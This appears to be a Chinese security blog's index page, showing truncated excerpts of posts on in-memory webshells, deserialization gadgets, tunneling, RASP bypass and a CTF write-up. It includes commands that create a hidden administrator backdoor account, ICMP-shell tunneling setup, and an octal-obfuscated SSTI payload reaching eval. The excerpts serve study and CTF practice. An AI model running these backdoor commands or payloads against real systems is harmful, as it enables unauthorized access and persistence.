Java Agent内存马学习
前言这里补充一下java agent内存马的学习,主要是之前笔试的时候有个spring boot命令执行不出网的利用,当时脑子抽了忘记可以使用agent内存马,当时说的是:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索后来反应过来使用agent实现内存马更加简单实用,再加上之前只是知道没有深入学习,所以就有了写这么一篇文章的想法,顺便记录一下学习过程避免遗忘
基础知识在 jdk 1.5 之后引入了java.lang.instrument包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过java.lang.instrument实现的工具我们称之为Java Agent,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Java agent的使用方式有两种:
jvm方式:实现 premain方法,在JVM启动前加载
attach方式:实现 agentmain方法,在JVM启动后加载
premain和agentmain函数声明如下:
1234567891011 ...
权限维持
权限维持做了权限维持就如同特洛伊木马一样,可以直接进入内部进行攻击
当我们获得了administrator管理员权限后,需要创建一个后门来维持住我们所获得的权限,否则一旦目标密码更改或者漏洞被修补,那么就会导致我们对服务器权限的丢失
Windows权限维持内网渗透测试:域内权限维持思路总结域渗透 - 权限维持之 SID History
影子账户通常在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的
12net user hacker$ 123456 /addnet localgroup administrators hacker$ /add
但是在控制面板的账户管理界面能直接看到
接下来就是创建影子用户了打开注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择”权限”,把Administrator用户的权限,设置成”完全控制”权限,然后关闭注册表编辑器,再次打开即可在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names,看到我们的hacker$点击hacker$能在右侧看到类型 ...
内网穿透
内网穿透常用的隧道列举如下:
网络层:IPv6隧道、ICMP隧道、GRE隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
网络层隧道技术在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问
icmpshhttps://github.com/inquisb/icmpsh使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问,安装Python-impacket库:
1apt-get install python-impacket
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.
1sysctl -w net.ipv4.icmp_ec ...
2022强网拟态web部分wp
就做出来四道web题,总体质量还行,tcl,pwn神太猛了
没有人比我更懂py直接使用8进制绕过字符
1{{()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\145\166\141\154"]("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\ ...
RASP绕过初探
最近看完了赛博朋克边缘行者,我愿称之为年度最强番,扳机社太强了,塑造的02和lucy都很戳我《I Really Want to Stay At Your House》一响直接泪目了xd
RASP是Runtime application self-protection的缩写,中文翻译为应用程序运行时防护,其与WAF等传统安全防护措施的主要区别于其防护层级更加底层——在功能调用前或调用时能获取访问到当前方法的参数等信息,根据这些信息来判定是否安全
RASP与传统的基于流量监测的安全防护产品来说,优势点在于可以忽略各种绕过流量检测的攻击方式(如分段传输,编码等),只关注功能运行时的传参是否会产生安全威胁。简单来说,RASP不看过程,只看具体参数导致方法实现时是否会产生安全威胁。简单类比一下,RASP就相当于应用程序的主防,其判断是更加精准的。
OpenRASP官网地址:https://rasp.baidu.com/OpenRASP是该技术的开源实现,可以在不依赖请求特征的情况下,准确的识别代码注入、反序列化等应用异常,很好的弥补了传统设备防护滞后的问题
在 https://packag ...
Fastjson高版本的奇技淫巧
众所周知fastjson一般都是打JNDI的,这也是最常用的一种方法,但是高版本的话autoType默认为false,不支持,这里就需要通过一些其他的方法来rce了
在去年的黑帽大会上分享了fastjson1.2.68的几种利用链,今年看到浅蓝师傅关于fastjson1.2.80分享的议题,决定两个一起学习一下
BlackHat2021(fastjson 1.2.68)fastjson 1.2.68可以利用java.lang.AutoCloseable绕过checkAutotype
利用前提:
必须继承 AutoCloseable
必须具有默认构造函数或带符号的构造函数,否则无法正确实例化
不在黑名单中
可以引起 rce 、任意文件读写或其他高风险影响
gadget的依赖应该在原生jdk或者广泛使用的第三方库中
Mysql JDBC先配置一下mysql
12345<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId& ...
java反序列化之SnakeYaml
SnakeYamlSnakeYaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型
YAML基本格式要求:
YAML大小写敏感
使用缩进代表层级关系
缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
pom导入依赖jar包
12345<dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version></dependency>
反序列化SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数 ...
Spring内存马学习
Spring回显写一个controller测试一下,发现可以通过ServletRequestAttributes直接获取HttpServletRequest和HttpServletResponse并且RequestContextHolder.getRequestAttributes()可以获取RequestAttributes
12345678910111213141516171819202122import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;import java.io.*;@Controllerpublic class SpringMVCTestController ...
java二次反序列化初探
前置知识ctf的题目越来越难了,java的考点也更多更复杂,这里就学习一下二次反序列化
SignedObject它是java.security下一个用于创建真实运行时对象的类,更具体地说,SignedObject包含另一个Serializable对象
看一下它的getObject()方法,是一个反序列化,并且该方法还是getter
并且发现反序列化内容是可控的
这里可以看到content是一个byte型数组private byte[] content;那么思路就很简单了,先构造一个恶意SignedObject
1234KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA&q ...
Tomcat内存马学习
内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件,内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码
向各种中间件和框架注入内存马的基础,就是要获得context,所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象
Tomcat内存马Tomcat架构原理
首先需要了解tomcat的一些处理机制以及结构,这样才能了解内存马Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper:
Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 or ...














